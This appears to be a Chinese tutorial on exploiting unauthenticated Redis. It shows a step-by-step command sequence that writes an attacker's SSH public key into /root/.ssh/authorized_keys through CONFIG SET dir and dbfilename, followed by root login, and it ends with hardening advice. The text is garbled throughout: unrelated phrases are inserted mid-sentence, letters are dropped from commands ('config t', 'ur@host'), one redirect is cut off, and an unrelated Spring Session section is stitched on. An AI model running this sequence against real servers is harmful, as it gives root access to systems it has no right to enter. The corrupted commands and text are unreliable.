关于Redis未授权访问漏洞利⽤的介绍与修复建议
折东南西北的方法前⾔
动名词做宾语本⽂主要给⼤家介绍了关于Redis未授权访问漏洞利⽤的相关内容,⽂中对该漏洞进⾏了详细,并给出了相对应的修复/安全建议,下⾯话不多说了,来⼀起看看详细的介绍吧。
⼀、漏洞介绍
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公⽹上,如果在没有开启认证的情况下,可以导致任意⽤户在可以访问⽬标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利⽤ Redis 的相关⽅法,可以成功在 Redis 服务器上写⼊公钥,进⽽可以使⽤对应私钥直接登录⽬标服务器。
漏洞描述
部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进⾏采⽤相关的策略,⽐如添加防⽕墙规则避免其他⾮信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公⽹上,导致其他⽤户可以直接在⾮授权情况下直接访问Redis服务并进⾏相关操作。
利⽤ Redis ⾃⾝的提供的 config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的authotrized_keys ⽂件中,进⽽可以直接使⽤对应的私钥登录⽬标服务器。
⼆、漏洞利⽤
⾸先在本地⽣产公私钥⽂件:
1$ ssh-keygen –t rsa
然后将公钥写⼊ ⽂件
1$ (echo-e "\n\n"; cat id_rsa.pub; echo-e "\n\n") >
连接 Redis 写⼊⽂件
七擒孟获的主人公是谁1 2 3 4 5 6 7 8 9 10 11$ | redis-cli -h 192.168.1.11 -x t crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config t dir/root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config t dbfilename "authorized_keys" OK
$ 192.168.1.11:6379> save
OK
这⾥讲解下,这⾥设定了crackit的键值为公钥,并通过redis命令变更Redis DB ⽂件及存放地点为默认root⽤户SSH key存放⽂件,并将键值重定向追加到远程⽂件authorized_keys的末尾,也就上传了公钥。
这样就可以成功的将⾃⼰的公钥写⼊ /root/.ssh ⽂件夹的 authotrized_keys ⽂件⾥,然后攻击者直接执⾏:
1$ ssh–i id_rsa root@192.168.1.11
可远程利⽤⾃⼰的私钥登录该服务器。
刚刚我们提到公钥登录和Redis持久化存放数据操作,这⾥简单讲下原理
详细讲解ssh登录–公钥登录
SSH提供了公钥登录,可以省去输⼊密码的步骤。
研究生课程班
所谓"公钥登录",原理很简单,就是⽤户将⾃⼰的公钥储存在远程主机上。登录的时候,远程主机会向⽤户发送⼀段随机字符串,⽤户⽤⾃⼰的私钥加密后,再发回来。远程主机⽤事先储存的公钥进⾏解密,如果成功,就证明⽤户是可信的,直接允许登录shell,不再要求密码。
这种⽅法要求⽤户必须提供⾃⼰的公钥。如果没有现成的,可以直接⽤ssh-keygen⽣成⼀个:
1$ ssh-keygen
运⾏上⾯的命令以后,系统会出现⼀系列提⽰,可以⼀路回车。其中有⼀个问题是,要不要对私钥设置⼝令(passphra),如果担⼼私钥的安全,这⾥可以设置⼀个。
运⾏结束以后,在$HOME/.ssh/⽬录下,会新⽣成两个⽂件:id_rsa.pub和id_rsa。前者是你的公钥,后者是你的私钥。
通常这时再输⼊下⾯的命令,将公钥传送到远程主机host上⾯:
1$ ssh-copy-id ur@host
authorized_keys⽂件,远程主机将⽤户的公钥,保存在登录后的⽤户主⽬录的$HOME/.ssh/authorized_keys⽂件中。公钥就是⼀段字符串,只要把它追加在authorized_keys⽂件的末尾就⾏了。
详细相关的Redis持久化命令
Redis⽀持2种持久化策略:snapshot⽅式和commandlog⽅式,前者通过将当前内存数据快照周期性写⼊RDB⽂件来实现;后者通过在log中记录Redis进程收到的写操作来实现,下次Redis重启时,回放commandlog来恢复数据状态。
这⾥使⽤RDB⽂件写⼊SSH key⽂件,需要设置以下两个 RDB相关配置
dbfilename
指定RDB⽂件名,默认为dump.rdb
dir
指定RDB⽂件存放⽬录的路径,若包含多级路径,则相关⽗路径需事先mkdir出来,否则启动失败。
t(key, value):给数据库中名称为key的string赋予值value
最后Client使⽤save命令通知redis做⼀次快照持久化
修复建议/安全建议
1.禁⽌⼀些⾼危命令
修改 f ⽂件,添加
1 2 3rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
来禁⽤远程修改 DB ⽂件地址
2.以低权限运⾏ Redis 服务
为 Redis 服务创建单独的⽤户和家⽬录,并且配置禁⽌登陆1$ groupadd -r redis && uradd-r -g redis redis
3.为 Redis 添加密码验证
修改 f ⽂件,添加
1requirepass mypassword
会议座次4.禁⽌外⽹访问 Redis
修改 f ⽂件,添加或修改,使得 Redis 服务只在当前主机可⽤
1bind 127.0.0.1
5.保证 authorized_keys ⽂件的安全
为了保证安全,您应该阻⽌其他⽤户添加新的公钥。
李景林将 authorized_keys 的权限设置为对拥有者只读,其他⽤户没有任何权限:
1$ chmod400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该⽂件的 immutable 位权限:
1# chattr +i ~/.ssh/authorized_keys
然⽽,⽤户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh ⽬录和 authorized_keys ⽂件。要避免这种情况,需要设置 ~./ssh 的immutable 位权限:
1# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上immutable 位权限。
:
问题: 安全模式下spring-ssion在拦截请求取代httpssion 创建ssion时可能会报错
eg:spring-ssion .....Error creating bean with name 'enableRedisKeyspaceNotificatio'........
因为:spring-ssion中间件需要依赖redis2.8.0以上版本,并且需要开启:notify-keyspace-events gxE;
幸爱
但是
当与WebSockets集成时,SessionDestroyedEvent负责关闭任何活动的WebSocket连接。
将SessionDeletedEvent或SessionExpiredEvent通过SessionMessageListener(监听Redis Keyspace事件)提供。为了使其⼯作,Redis Keyspace事件⽤于通⽤命令和过期事件需要启⽤。例如:
redis-cli配置设置notify-keyspace-events Egx。
如果您使⽤的是@EnableRedisHttpSession,那么就会⾃动完成必要的Redis Keyspace事件。但是,在安全的Redis环境中,配置命令是禁⽤的。这意味着Spring会话不能为您配置Redis Keyspace事件。若要禁⽤⾃动配置,请添加可配置性。NO_OP bean。
@EnableRedisHttpSession
public class HttpSessionConfig {
@Bean
public static ConfigureRedisAction configureRedisAction() {
return ConfigureRedisAction.NO_OP;
}
@Bean
public HttpSessionStrategy httpSessionStrategy() {
HeaderHttpSessionStrategy strategy = new HeaderHttpSessionStrategy();
strategy.tHeaderName(Constants.SESSION_HEADER_NAME);
return strategy;
}
}
田径训练XML Configuration 如下:
<util:constant
static-field="org.springframework.fig.ConfigureRedisAction.NO_OP"/>
总结
以上就是这篇⽂章的全部内容,希望本⽂的内容对⼤家的学习或者⼯作能带来⼀定的帮助,如果有疑问⼤家可以留⾔交流,谢谢⼤家对脚本之家的⽀持。